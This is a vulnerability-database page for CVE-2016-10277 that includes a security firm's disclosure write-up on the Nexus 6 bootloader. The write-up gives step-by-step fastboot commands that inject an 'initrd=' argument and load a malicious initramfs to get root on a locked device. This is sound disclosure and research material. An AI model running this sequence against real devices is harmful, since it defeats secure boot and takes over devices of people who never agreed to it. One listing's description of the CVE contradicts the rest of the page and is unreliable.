Vulnerabilities > CVE-2016-10277 - Permissions, Privileges, and Access Controls vulnerability in Linux Kernel 3.10/3.18

047910
CVSS 7.8 - HIGH
Attack vector
LOCAL
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
HIGH
Integrity impact
HIGH
Availability impact
HIGH
local
low complexity
linux
CWE-264
nessus
exploit available

Summary

An elevation of privilege vulnerability in the Motorola bootloader could enable a local malicious application to execute arbitrary code within the context of the bootloader. This issue is rated as Critical due to the possibility of a local permanent device compromise, which may require reflashing the operating system to repair the device. Product: Android. Versions: Kernel-3.10, Kernel-3.18. Android ID: A-33840490.

Vulnerable Configurations

Part Description Count
OS
Linux
2

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Accessing, Modifying or Executing Executable Files
    An attack of this type exploits a system's configuration that allows an attacker to either directly access an executable file, for example through shell access; or in a possible worst case allows an attacker to upload a file and then execute it. Web servers, ftp servers, and message oriented middleware systems which have many integration points are particularly vulnerable, because both the programmers and the administrators must be in synch regarding the interfaces and the correct privileges for each interface.
  • Leverage Executable Code in Non-Executable Files
    An attack of this type exploits a system's trust in configuration and resource files, when the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high. The attack can be directed at a client system, such as causing buffer overrun through loading seemingly benign image files, as in Microsoft Security Bulletin MS04-028 where specially crafted JPEG files could cause a buffer overrun once loaded into the browser. Another example targets clients reading pdf files. In this case the attacker simply appends javascript to the end of a legitimate url for a pdf (http://www.gnucitizen.org/blog/danger-danger-danger/) http://path/to/pdf/file.pdf#whatever_name_you_want=javascript:your_code_here The client assumes that they are reading a pdf, but the attacker has modified the resource and loaded executable javascript into the client's browser process. The attack can also target server processes. The attacker edits the resource or configuration file, for example a web.xml file used to configure security permissions for a J2EE app server, adding role name "public" grants all users with the public role the ability to use the administration functionality. The server trusts its configuration file to be correct, but when they are manipulated, the attacker gains full control.
  • Blue Boxing
    This type of attack against older telephone switches and trunks has been around for decades. A tone is sent by an adversary to impersonate a supervisor signal which has the effect of rerouting or usurping command of the line. While the US infrastructure proper may not contain widespread vulnerabilities to this type of attack, many companies are connected globally through call centers and business process outsourcing. These international systems may be operated in countries which have not upgraded Telco infrastructure and so are vulnerable to Blue boxing. Blue boxing is a result of failure on the part of the system to enforce strong authorization for administrative functions. While the infrastructure is different than standard current applications like web applications, there are historical lessons to be learned to upgrade the access control for administrative functions.
  • Restful Privilege Elevation
    Rest uses standard HTTP (Get, Put, Delete) style permissions methods, but these are not necessarily correlated generally with back end programs. Strict interpretation of HTTP get methods means that these HTTP Get services should not be used to delete information on the server, but there is no access control mechanism to back up this logic. This means that unless the services are properly ACL'd and the application's service implementation are following these guidelines then an HTTP request can easily execute a delete or update on the server side. The attacker identifies a HTTP Get URL such as http://victimsite/updateOrder, which calls out to a program to update orders on a database or other resource. The URL is not idempotent so the request can be submitted multiple times by the attacker, additionally, the attacker may be able to exploit the URL published as a Get method that actually performs updates (instead of merely retrieving data). This may result in malicious or inadvertent altering of data on the server.
  • Target Programs with Elevated Privileges
    This attack targets programs running with elevated privileges. The attacker would try to leverage a bug in the running program and get arbitrary code to execute with elevated privileges. For instance an attacker would look for programs that write to the system directories or registry keys (such as HKLM, which stores a number of critical Windows environment variables). These programs are typically running with elevated privileges and have usually not been designed with security in mind. Such programs are excellent exploit targets because they yield lots of power when they break. The malicious user try to execute its code at the same level as a privileged system call.

Exploit-Db

descriptionMotorola Bootloader - Kernel Cmdline Injection Secure Boot and Device Locking Bypass. CVE-2016-10277. Local exploit for Android platform
fileexploits/android/local/42601.txt
idEDB-ID:42601
last seen2017-09-01
modified2017-09-01
platformandroid
port
published2017-09-01
reporterExploit-DB
sourcehttps://www.exploit-db.com/download/42601/
titleMotorola Bootloader - Kernel Cmdline Injection Secure Boot and Device Locking Bypass
typelocal

Nessus

  • NASL familySuSE Local Security Checks
    NASL idSUSE_SU-2017-2389-1.NASL
    descriptionThe SUSE Linux Enterprise 11 SP4 kernel was updated to receive various security and bugfixes. The following security bugs were fixed : - CVE-2017-7482: Several missing length checks ticket decode allowing for information leak or potentially code execution (bsc#1046107). - CVE-2016-10277: Potential privilege escalation due to a missing bounds check in the lp driver. A kernel command-line adversary can overflow the parport_nr array to execute code (bsc#1039456). - CVE-2017-7542: The ip6_find_1stfragopt function in net/ipv6/output_core.c in the Linux kernel allowed local users to cause a denial of service (integer overflow and infinite loop) by leveraging the ability to open a raw socket (bsc#1049882). - CVE-2017-7533: Bug in inotify code allowing privilege escalation (bsc#1049483). - CVE-2017-11176: The mq_notify function in the Linux kernel did not set the sock pointer to NULL upon entry into the retry logic. During a user-space close of a Netlink socket, it allowed attackers to cause a denial of service (use-after-free) or possibly have unspecified other impact (bsc#1048275). - CVE-2017-11473: Buffer overflow in the mp_override_legacy_irq() function in arch/x86/kernel/acpi/boot.c in the Linux kernel allowed local users to gain privileges via a crafted ACPI table (bnc#1049603). - CVE-2017-1000365: The Linux Kernel imposed a size restriction on the arguments and environmental strings passed through RLIMIT_STACK/RLIM_INFINITY (1/4 of the size), but did not take the argument and environment pointers into account, which allowed attackers to bypass this limitation. (bnc#1039354) - CVE-2014-9922: The eCryptfs subsystem in the Linux kernel allowed local users to gain privileges via a large filesystem stack that includes an overlayfs layer, related to fs/ecryptfs/main.c and fs/overlayfs/super.c (bnc#1032340) - CVE-2017-8924: The edge_bulk_in_callback function in drivers/usb/serial/io_ti.c in the Linux kernel allowed local users to obtain sensitive information (in the dmesg ringbuffer and syslog) from uninitialized kernel memory by using a crafted USB device (posing as an io_ti USB serial device) to trigger an integer underflow (bnc#1038982). - CVE-2017-8925: The omninet_open function in drivers/usb/serial/omninet.c in the Linux kernel allowed local users to cause a denial of service (tty exhaustion) by leveraging reference count mishandling (bnc#1038981). - CVE-2017-1000380: sound/core/timer.c was vulnerable to a data race in the ALSA /dev/snd/timer driver resulting in local users being able to read information belonging to other users, i.e., uninitialized memory contents could have bene disclosed when a read and an ioctl happen at the same time (bnc#1044125) - CVE-2017-9242: The __ip6_append_data function in net/ipv6/ip6_output.c was too late in checking whether an overwrite of an skb data structure may occur, which allowed local users to cause a denial of service (system crash) via crafted system calls (bnc#1041431) - CVE-2017-1000363: A buffer overflow in kernel commandline handling of the
    last seen2020-06-01
    modified2020-06-02
    plugin id103110
    published2017-09-11
    reporterThis script is Copyright (C) 2017-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/103110
    titleSUSE SLES11 Security Update : kernel (SUSE-SU-2017:2389-1) (Stack Clash)
  • NASL familySuSE Local Security Checks
    NASL idSUSE_SU-2017-2920-1.NASL
    descriptionThe SUSE Linux Enterprise 12 GA LTS kernel was updated to receive various security and bugfixes. The following security bugs were fixed : - CVE-2017-15649: net/packet/af_packet.c in the Linux kernel allowed local users to gain privileges via crafted system calls that trigger mishandling of packet_fanout data structures, because of a race condition (involving fanout_add and packet_do_bind) that leads to a use-after-free, a different vulnerability than CVE-2017-6346 (bnc#1064388). - CVE-2015-9004: kernel/events/core.c in the Linux kernel mishandled counter grouping, which allowed local users to gain privileges via a crafted application, related to the perf_pmu_register and perf_event_open functions (bnc#1037306). - CVE-2016-10229: udp.c in the Linux kernel allowed remote attackers to execute arbitrary code via UDP traffic that triggers an unsafe second checksum calculation during execution of a recv system call with the MSG_PEEK flag (bnc#1032268). - CVE-2016-9604: The handling of keyrings starting with
    last seen2020-06-01
    modified2020-06-02
    plugin id104374
    published2017-11-03
    reporterThis script is Copyright (C) 2017-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/104374
    titleSUSE SLES12 Security Update : kernel (SUSE-SU-2017:2920-1) (KRACK) (Stack Clash)
  • NASL familySuSE Local Security Checks
    NASL idSUSE_SU-2017-2908-1.NASL
    descriptionThe SUSE Linux Enterprise 12 SP1 LTS kernel was updated to receive various security and bugfixes. The following security bugs were fixed : - CVE-2017-15649: net/packet/af_packet.c in the Linux kernel allowed local users to gain privileges via crafted system calls that trigger mishandling of packet_fanout data structures, because of a race condition (involving fanout_add and packet_do_bind) that leads to a use-after-free, a different vulnerability than CVE-2017-6346 (bnc#1064388). - CVE-2017-13080: Wi-Fi Protected Access (WPA and WPA2) allowed reinstallation of the Group Temporal Key (GTK) during the group key handshake, allowing an attacker within radio range to replay frames from access points to clients (bnc#1063667). - CVE-2017-15274: security/keys/keyctl.c in the Linux kernel did not consider the case of a NULL payload in conjunction with a nonzero length value, which allowed local users to cause a denial of service (NULL pointer dereference and OOPS) via a crafted add_key or keyctl system call, a different vulnerability than CVE-2017-12192 (bnc#1045327). - CVE-2017-15265: Use-after-free vulnerability in the Linux kernel allowed local users to have unspecified impact via vectors related to /dev/snd/seq (bnc#1062520). - CVE-2017-1000365: The Linux Kernel imposes a size restriction on the arguments and environmental strings passed through RLIMIT_STACK/RLIM_INFINITY (1/4 of the size), but did not take the argument and environment pointers into account, which allowed attackers to bypass this limitation. (bnc#1039354). - CVE-2017-12153: A security flaw was discovered in the nl80211_set_rekey_data() function in net/wireless/nl80211.c in the Linux kernel This function did not check whether the required attributes are present in a Netlink request. This request can be issued by a user with the CAP_NET_ADMIN capability and may result in a NULL pointer dereference and system crash (bnc#1058410). - CVE-2017-12154: The prepare_vmcs02 function in arch/x86/kvm/vmx.c in the Linux kernel did not ensure that the
    last seen2020-06-01
    modified2020-06-02
    plugin id104271
    published2017-10-31
    reporterThis script is Copyright (C) 2017-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/104271
    titleSUSE SLES12 Security Update : kernel (SUSE-SU-2017:2908-1) (KRACK) (Stack Clash)

Seebug

  • bulletinFamilyexploit
    descriptionIn the May 2017 Android Security Bulletin, Google released a patch to a critical and unique vulnerability CVE-2016-10277 in the Nexus 6 bootloader we had found and responsibly disclosed. By exploiting the vulnerability, a physical adversary or one with authorized-ADB/fastboot USB access to the (bootloader-locked) device (such as PC malware awaiting for an ADB-authorized developer’s device to be hooked via USB) could break the Secure/Verified Boot mechanism, allowing him to gain unrestricted root privileges, and completely own the user space (which may also lead much more), by loading a tampered or malicious initramfs image. Moreover, exploitation does not lead to a factory reset hence user data remains intact (and still encrypted). It should be noted that we do not demonstrate an untethered attack. During this research we also uncovered a 18-year-old Linux Kernel bug (not affecting Nexus 6 and probably does not affect any Android device): CVE-2017-1000363 Before we begin, here is a video demo of the PoC exploit: https://youtu.be/dijRMpv4ktM ### Preface In January 2017 we disclosed a high severity vulnerability, CVE-2016-8467, affecting Nexus 6/6P, that allowed attackers to change the bootmode of the device, giving access to hidden USB interfaces. This was done through a fastboot command, such as fastboot oem config bootmode bp-tools which caused the bootloader to change the androidboot.mode argument in the kernel command line. Google has fixed the issue by hardening the bootloader – a locked bootloader no longer allowed booting with a custom bootmode. Just before Google released the patch, we had discovered way to bypass it on Nexus 6. ### Vulnerability: Kernel Command-line Injection (CVE-2016-10277) Nexus 6’s bootloader contains several arguments that can be controlled through the fastboot interface, even if the bootloader is locked: ``` $ fastboot oem config [...] (bootloader) <UTAG name="battery" protected="false"> (bootloader) <value> (bootloader) </value> (bootloader) <description> (bootloader) Battery detection control (bootloader) ("meter_lock" or "no_eprom") (bootloader) </description> (bootloader) </UTAG> (bootloader) <UTAG name="bootmode" protected="false"> (bootloader) <value> (bootloader) </value> (bootloader) <description> (bootloader) To force certain bootmode (bootloader) (valid values are "fastboot", "factory", "bp-tools", "q (bootloader) com", and "on-device-diag") (bootloader) </description> (bootloader) </UTAG> (bootloader) <UTAG name="carrier" protected="false"> (bootloader) <value> (bootloader) </value> (bootloader) <description> (bootloader) Carrier IDs, see http://goo.gl/lojLh3 (bootloader) </description> (bootloader) </UTAG> (bootloader) <UTAG name="console" type="str" protected="false"> (bootloader) <value> (bootloader) </value> (bootloader) <description> (bootloader) Config kernel console log (bootloader) enable|true - enable with default settings (bootloader) disable|false - disable (bootloader) <config string> - enable with customized settings (bootloader) (e.g.: "ttyHSL0", "ttyHSL0,230400,n8") (bootloader) </description> (bootloader) </UTAG> (bootloader) <UTAG name="fsg-id" type="str" protected="false"> (bootloader) <value> (bootloader) </value> (bootloader) <description> (bootloader) FSG IDs, see http://goo.gl/gPmhU (bootloader) </description> (bootloader) </UTAG> OKAY [ 0.048s] finished. total time: 0.048s ``` The fsg-id, carrier and console parameters can contain arbitrary values (although with a restricted size), which eventually propagate to the kernel command line. One can prove that by issuing the following commands: ``` $ fastboot oem config console foo $ fastboot oem config fsg-id bar $ fastboot oem config carrier baz ``` And then check the kernel command line: ``` shamu:/ $ dmesg | grep command [ 0.000000] Kernel command line: console=foo,115200,n8 earlyprintk androidboot.console=foo androidboot.hardware=shamu msm_rtb.filter=0x37 ehci-hcd.park=3 utags.blkdev=/dev/block/platform/msm_sdcc.1/by-name/utags utags.backup=/dev/block/platform/msm_sdcc.1/by-name/utagsBackup coherent_pool=8M vmalloc=300M buildvariant=user androidboot.bootdevice=msm_sdcc.1 androidboot.serialno=ZX1G427V97 androidboot.baseband=mdm androidboot.version-baseband=D4.01-9625-05.45+FSG-9625-02.117 androidboot.mode=normal androidboot.device=shamu androidboot.hwrev=0x83A0 androidboot.radio=0x7 androidboot.powerup_reason=0x00004000 androidboot.bootreason=reboot androidboot.write_protect=0 restart.download_mode=0 androidboot.fsg-id=bar androidboot.secure_hardware=1 androidboot.cid=0xDE androidboot.wifimacaddr=F8:CF:C5:9F:8F:EB androidboot.btmacaddr=F8:CF:C5:9F:8F:EA mdss_mdp.panel=1:dsi:0:qcom,mdss_dsi_mot_smd_596_QHD_dualmipi0_cmd_v0 androidboot.bootloader=moto-apq8084-72.02 androidboot.carrier=baz androidboot.hard< ``` Now, if the bootloader didn’t sanitize those arguments, then we could pass arbitrary kernel command line arguments: ``` $ fastboot oem config console "a androidboot.foo=0 " $ fastboot oem config fsg-id "a androidboot.bar=1" $ fastboot oem config carrier "a androidboot.baz=2" ``` And indeed: ``` shamu:/ $ dmesg | grep command [ 0.000000] Kernel command line: console=a androidboot.foo=0 ,115200,n8 earlyprintk androidboot.console=a androidboot.foo=0 androidboot.hardware=shamu msm_rtb.filter=0x37 ehci-hcd.park=3 utags.blkdev=/dev/block/platform/msm_sdcc.1/by-name/utags utags.backup=/dev/block/platform/msm_sdcc.1/by-name/utagsBackup coherent_pool=8M vmalloc=300M buildvariant=user androidboot.bootdevice=msm_sdcc.1 androidboot.serialno=ZX1G427V97 androidboot.baseband=mdm androidboot.version-baseband=D4.01-9625-05.45+FSG-9625-02.117 androidboot.mode=normal androidboot.device=shamu androidboot.hwrev=0x83A0 androidboot.radio=0x7 androidboot.powerup_reason=0x00004000 androidboot.bootreason=reboot androidboot.write_protect=0 restart.download_mode=0 androidboot.fsg-id=a androidboot.bar=1 androidboot.secure_hardware=1 androidboot.cid=0xDE androidboot.wifimacaddr=F8:CF:C5:9F:8F:EB androidboot.btmacaddr=F8:CF:C5:9F:8F:EA mdss_mdp.panel=1:dsi:0:qcom,mdss_dsi_mot_smd_596_QHD_dualmipi0_cmd_v0 androidboot.bootloader=moto-apq8084-72.02 androidboot.carrier=a androidboot.baz=2 androidboot.hard< ``` As one can see, we’ve managed to set arbitrary ro.boot properties: ``` shamu:/ $ getprop ro.boot.foo 0 shamu:/ $ getprop ro.boot.bar 1 shamu:/ $ getprop ro.boot.baz 2 shamu:/ $ ``` ### Immediate Result: Bypassing CVE-2016-8467’s Patch At this point, bypassing CVE-2016-8467’s patch is trivial: ``` $ fastboot oem config console "a androidboot.mode=bp-tools " [...] (bootloader) <UTAG name="conolse" type="str" protected="false"> (bootloader) <value> (bootloader) a androidboot.mode=bp-tools (bootloader) </value> (bootloader) <description> (bootloader) Carrier IDs, see http://goo.gl/lojLh3 (bootloader) </description> (bootloader) </UTAG> [...] ``` And indeed: ``` shamu:/ $ getprop ro.boot.mode bp-tools shamu:/ $ ``` Please note that we must change the console parameter in order to beat the real androidboot.mode arg that is inserted by the bootloader. (Code that handles the kernel cmdline for the init process is under core/init/init.cpp!import_kernel_nv.) But can we do anything beyond changing the bootmode, by inserting arbitrary args into the command line? ### A Whole New Attack Surface The kernel command line is consumed by several entities across the OS, including: 1. In kernel code, through the __setup macro. 2. In kernel code, through the early_param macro. 3. In kernel modules code, through the module_param* macros. 4. In kernel modules codes, through the core_param macro. 5. In user space (e.g. init, see above). There are dozens if not hundreds of usages of these macros – any feature or bug introduced by controlling them could be exploited. We will now see that being able to control a single argument allowed us the defeat Secure Boot. ### Secure Boot in Nexus 6 The boot process of Qualcomm MSM devices (such as Motorola Nexus 6) is (much briefly!) as follows: ``` [Primary Bootloader (PBL)] `-. [Secondary Bootloader (SBL)] `-. [Applications Bootloader (ABOOT)] `-. [{boot,recovery}.img] |-- Linux Kernel `-- initramfs `-. [system.img] ``` The PBL kicks-in from ROM when the device is powered on. It then loads the digitally-signed SBL to memory, and verifies its authenticity. The SBL loads the digital-signed ABOOT (which implements the fastboot interface), and again verifies its authenticity. The signed certificates of the SBL and ABOOT have a root certificate anchored in hardware. ABOOT then verifies the authenticity of the boot or recovery images, loads the Linux kernel and initramfs from the boot or recovery images at fixed physical addresses (0x8000 & 0x2000000 in Nexus 6). initramfs is a cpio (gzipped) archive that gets loaded into rootfs (a RAM filesystem mounted at /) during the Linux kernel initialization. It contains the init binary, the first users pace process. The bootloader (ABOOT) prepares the kernel command line and initramfs parameters for the Linux kernel in the Device Tree Blob (DTB) located at physical address 0x1e00000. One can confirm that by dumping the in-memory DTB to disk, and then parse it with fdtdump: ``` [...] linux,initrd-end = <0x02172814>; linux,initrd-start = <0x02000000>; bootargs = "console=ttyHSL0,115200,n8 earlyprintk androidboot.console=ttyHSL0 androidboot.hardware=shamu msm_rtb.filter=0x37 ehci-hcd.park=3 utags.blkdev=/dev/block/platform/msm_sdcc.1/by-name/utags utags.backup=/dev/block/platform/msm_sdcc.1/by-name/utagsBackup coherent_pool=8M vmalloc=300M buildvariant=userdebug androidboot.bootdevice=msm_sdcc.1 androidboot.serialno=ZX1G427V97 androidboot.baseband=mdm [...] ``` The bootloader then transfers execution to the Linux kernel. ### Linux Kernel Initialization: From ABOOT to init in a Nutshell The Linux kernel function that parses the parameters given by ABOOT in the DTB is early_init_dt_scan_chosen. In arm kernels, it eventually calls this specific function: ``` void __init early_init_dt_setup_initrd_arch(unsigned long start, unsigned long end) { phys_initrd_start = start; phys_initrd_size = end - start; } ``` Physical memory addressed by phys_initrd_start is then mapped into the virtual address space by the following code: ``` void __init arm_memblock_init(struct meminfo *mi, struct machine_desc *mdesc) { [...] if (phys_initrd_size) { memblock_reserve(phys_initrd_start, phys_initrd_size); /* Now convert initrd to virtual addresses */ initrd_start = __phys_to_virt(phys_initrd_start); initrd_end = initrd_start + phys_initrd_size; } [...] } ``` The initramfs is unpacked to rootfs next: ``` static int __init populate_initramfs(void) { [...] if (initrd_start) { #ifdef CONFIG_BLK_DEV_RAM int fd; err = unpack_to_initramfs((char *)initrd_start, initrd_end - initrd_start); if (!err) { free_initrd(); goto done; } else { clean_initramfs(); unpack_to_initramfs(__initramfs_start, __initramfs_size); } [...] } return 0; } initramfs_initcall(populate_initramfs); ``` Eventually the kernel_init function is called, which executes the first userspace process: /init. ``` static int __ref kernel_init(void *unused) { [...] if (ramdisk_execute_command) { if (!run_init_process(ramdisk_execute_command)) return 0; pr_err("Failed to execute %s\n", ramdisk_execute_command); } [...] } ``` (ramdisk_execute_command has a default value of /init.) ### Initializing userspace & dm-verity init is in charge of bringing up the user space. Among its duties, is setting up SELinux (load its policies, etc). Once the policies are loaded, it will be in the kernel domain, but soon after the SELinux initialization code completes, it transfers itself to the init domain. Please note that on production builds, even if the kernel is loaded with non-enforcing SELinux (which can be done, for example, by appending androidboot.selinux=permissive to the kernel command line), init will re-enforce: ``` static void selinux_initialize(bool in_kernel_domain) { [...] if (in_kernel_domain) { INFO("Loading SELinux policy...\n"); [...] bool kernel_enforcing = (security_getenforce() == 1); bool is_enforcing = selinux_is_enforcing(); if (kernel_enforcing != is_enforcing) { if (security_setenforce(is_enforcing)) { ERROR("security_setenforce(%s) failed: %s\n", is_enforcing ? "true" : "false", strerror(errno)); security_failure(); } } [...] } } ``` (on production builds, selinux_is_enforce() always returns true.). init also triggers the partition mounts. dm-verity later verifies the integrity of relevant partitions (e.g. system) with a public key stored under the initramfs (/verity_key) – an untrusted initramfs means an untrusted system partition. So how can the attacker interfere with the described boot process, given the Kernel Command-line Injection Vulnerability? ### Failed Attempt: Controlling ramdisk_execute_command It turns out that there is a kernel command line argument rdinit that overrides /init, the default value of ramdisk_execute_command: ``` static int __init rdinit_setup(char *str) { unsigned int i; ramdisk_execute_command = str; /* See "auto" comment in init_setup */ for (i = 1; i < MAX_INIT_ARGS; i++) argv_init[i] = NULL; return 1; } __setup("rdinit=", rdinit_setup); ``` That looked promising, by exploiting our vulnerability we could cause the kernel to execute an arbitrary user space process, e.g. fastboot oem config carrier "a rdinit=/sbin/foo". The main challenge we encountered which made controlling rdinit ineffective was the fact that the Nexus 6 initramfs contains a very limited set of binaries: ``` $ ls -la sbin adbd healthd slideshow ueventd watchdogd ``` Even if one of them could have some potential (e.g. adbd), user space at that point of execution is uninitialized, hence they may fail due to dependencies which they rely on that are not satisfied. Given the rather big attack surface described above, we decided to move along to the next command line argument we could control, however further analysis of these binaries may prove they are useful. #### Controlling the initramfs Physical Loading Address Interestingly, we’ve realized that in arm, it is also possible to control, through a kernel command line argument initrd, the physical address where the initramfs is loaded from by the kernel! Under arch/arm/mm/init.c: ``` static int __init early_initrd(char *p) { unsigned long start, size; char *endp; start = memparse(p, &endp); if (*endp == ',') { size = memparse(endp + 1, NULL); phys_initrd_start = start; phys_initrd_size = size; } return 0; } early_param("initrd", early_initrd); ``` This overrides the default values provided by ABOOT in the DTB. We then tested it with a random value, expecting the Kernel to crash: ``` $ fastboot oem config fsg-id "a initrd=0x33333333,1024" [...] (bootloader) <UTAG name="fsg-id" type="str" protected="false"> (bootloader) <value> (bootloader) a initrd=0x33333333,1024 (bootloader) </value> (bootloader) <description> (bootloader) FSG IDs, see http://goo.gl/gPmhU (bootloader) </description> (bootloader) </UTAG> OKAY [ 0.016s] finished. total time: 0.016s $ fastboot continue ``` It indeed crashed! This kind of attack is analogous to controlling the Instruction Pointer (IP register) or Program Counter (PC register) in memory corruption bugs, so the first order of business in this case would be loading our own tampered initramfs archive to the device’s memory, through fastboot. Note that the Linux Kernel does not re-verify the authenticity of initramfs, it relies on the bootloader to do that, so if we manage to put a tampered initramfs at the controlled phys_initrd_start physical address, the kernel will indeed populate it into rootfs. ### Loading Arbitrary Data to Memory through USB ABOOT’s fastboot provides a download mechanism via USB, which supports features such as flashing. The download functionality is available even on locked bootloaders, therefore the attacker can use this feature in order to load a tampered initramfs on the device. Our only hope is that the bootloader nor the kernel zero-out/override that data before initramfs is populated into rootfs. In order to verify that, we made the following experiment. First, we installed our own msm-shamu kernel with Loadable-Kernel Modules (LKM) support. We then uploaded to the device a large blob 0123456789ABCDEFALEFALEFALEF... via fastboot: ``` $ fastboot flash aleph payload.bin [...] target reported max download size of 536870912 bytes sending 'aleph' (524288 KB)... OKAY [ 62.610s] writing 'aleph'... (bootloader) Not allowed in LOCKED state! FAILED (remote failure) finished. total time: 62.630s ``` Please note that the failure message is due to the flashing attempt, however, the data is downloaded by device anyway. We booted the platform with fastboot continue, and then dumped the whole physical memory with the LiME LKM (a great tool!), searching for our blob: ``` 10FFFFC0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 10FFFFD0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 10FFFFE0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 10FFFFF0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 11000000 30 31 32 33 34 35 36 37 38 39 41 42 43 44 45 46 0123456789ABCDEF 11000010 41 4C 45 46 41 4C 45 46 41 4C 45 46 41 4C 45 46 ALEFALEFALEFALEF 11000020 41 4C 45 46 41 4C 45 46 41 4C 45 46 41 4C 45 46 ALEFALEFALEFALEF 11000030 41 4C 45 46 41 4C 45 46 41 4C 45 46 41 4C 45 46 ALEFALEFALEFALEF 11000040 41 4C 45 46 41 4C 45 46 41 4C 45 46 41 4C 45 46 ALEFALEFALEFALEF 11000050 41 4C 45 46 41 4C 45 46 41 4C 45 46 41 4C 45 46 ALEFALEFALEFALEF ``` This has given us a stronger guarantee because our payload survived even when the platform is up and running. We’ve repeated this process several times, there was nothing random – the payload is always loaded at 0x11000000 and is available for the Linux Kernel! For the sake of curiosity we’ve also statically verified this result. It turns out that Little Kernel (LK), which the Nexus 6 is based on, has a memory area pointed by SCRATCH_ADDR where the downloaded data is saved under. Loading the ABOOT binary with IDA confirms (functions renamed for readability): ``` int fastboot_mode() { [...] dprintf(1, "Entering fastboot mode\n"); [...] v8 = return11000000(); v9 = return20000000(); fastboot_init(v8, v9); v11 = sub_FF2EA94(v10); if ( v13 != v10021C84 ) sub_FF3D784(); return sub_FF15BA4(v11); } signed int return11000000() { signed int result; // r0@1 result = 0x11000000; if ( v10021C84 != v10021C84 ) sub_FF3D784(); return result; } ``` This value is eventually consumed by the download handler of ABOOT. To conclude, we have the following physical memory layout before the initramfs archive is populated from memory into rootfs: ``` .-------------------.------------------------------.-----------. | Physical Address | What | Loaded by | |-------------------|------------------------------|-----------| | 0x00008000 | Linux Kernel | ABOOT | | 0x01E00000 | Device Tree Blob (DTB) | ABOOT | | 0x02000000 | Verified initramfs | ABOOT | | 0x11000000 | Tampered initramfs (payload) | Adversary | `-------------------'------------------------------'-----------' ``` We are now all done, we can now place our initramfs at a fixed physical address and then instruct the kernel to populate it. ### Creating a Malicious initramfs The final step is to create our own malicious initramfs. One can just compile a userdebug AOSP boot image and rip the initramfs.cpio.gz file out of it, since it contains the su domain and a root-capable adbd. The only caveat is dm-verity which will not be able to verify the official system partition (because the AOSP boot image will contain the debug verity_key). Anyway, since we are now able to load a malicious initramfs, this annoyance can be bypassed easily by editing the fstab file (removing the verification), or replacing the debug verity_key with the official one from the relevant build. A Proof-of-Concept initramfs is [available in our GitHub research repo](https://github.com/alephsecurity/research/tree/master/initroot). ### Putting it All Together: got root! We now have everything we need: 1. We have a malicious initramfs archive. 2. We can load it into memory at a fixed physical address using the bootloader fastboot interface. 3. We can instruct the Linux kernel to populate it from that address. In terms of Secure Boot, we now have the following broken chain-of-(dis)trust: ``` [Primary Bootloader (PBL)] `-. [Secondary Bootloader (SBL)] `-. [Applications Bootloader (ABOOT)] `-. [{boot,recovery}.img] |-- Linux Kernel `-- initramfs <- Controlled by Attacker in Memory `-. [system.img] <- Cannot be Trusted ``` The following shows a successful attack: ``` $ adb shell shamu:/ $ id uid=2000(shell) gid=2000(shell) groups=2000(shell),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc) context=u:r:shell:s0 shamu:/ $ getenforce Enforcing shamu:/ $ setenforce permissive setenforce: Couldn't set enforcing status to 'permissive': Permission denied shamu:/ $ reboot bootloader $ fastboot getvar unlocked [...] unlocked: no finished. total time: 0.008s $ fastboot oem config fsg-id "a initrd=0x11000000,1518172" [...] (bootloader) <UTAG name="fsg-id" type="str" protected="false"> (bootloader) <value> (bootloader) a initrd=0x11000000,1518172 (bootloader) </value> (bootloader) <description> (bootloader) FSG IDs, see http://goo.gl/gPmhU (bootloader) </description> (bootloader) </UTAG> OKAY [ 0.016s] finished. total time: 0.016s $ fastboot flash aleph malicious.cpio.gz [...] target reported max download size of 536870912 bytes sending 'aleph' (1482 KB)... OKAY [ 0.050s] writing 'aleph'... (bootloader) Not allowed in LOCKED state! FAILED (remote failure) finished. total time: 0.054s $ fastboot continue [...] resuming boot... OKAY [ 0.007s] finished. total time: 0.007s $ adb shell shamu:/ # id uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc) context=u:r:su:s0 shamu:/ # getenforce Enforcing shamu:/ # setenforce permissive shamu:/ # getenforce Permissive shamu:/ # ``` ### Beyond initramfs: Firmware Injection Now that the we have full control over rootfs, we can also create a malicious /vendor folder, which normally contains firmware images of various SoCs available on the board: ``` shamu:/ # ls /vendor/firmware VRGain.bin adsp.b03 adsp.b11 bcm20795_firmware.ncd left.boost.music.eq left.boost_n1b12.patch right.boost.ringtone.eq right.boost_ringtone_table.preset venus.mdt a420_pfp.fw adsp.b04 adsp.b12 bcm4354A2.hcd left.boost.ringtone.config left.boost_n1c2.patch right.boost.speaker right.boost_voice_table.preset widevine.b00 a420_pm4.fw adsp.b05 adsp.mdt cy8c20247_24lkxi.hex left.boost.ringtone.eq left.boost_ringtone_table.preset right.boost.voice.config venus.b00 widevine.b01 acdb.mbn adsp.b06 aonvr1.bin fw_bcmdhd.bin left.boost.speaker left.boost_voice_table.preset right.boost.voice.eq venus.b01 widevine.b02 adsp.b00 adsp.b07 aonvr2.bin fw_bcmdhd_apsta.bin left.boost.voice.config right.boost.music.config right.boost_music_table.preset venus.b02 widevine.b03 adsp.b01 adsp.b08 atmel-a432-14061601-0102aa-shamu-p1.tdat keymaster left.boost.voice.eq right.boost.music.eq right.boost_n1b12.patch venus.b03 widevine.mdt adsp.b02 adsp.b10 atmel-a432-14103001-0103aa-shamu.tdat left.boost.music.config left.boost_music_table.preset right.boost.ringtone.config right.boost_n1c2.patch venus.b04 ``` Kernel drivers usually consume these 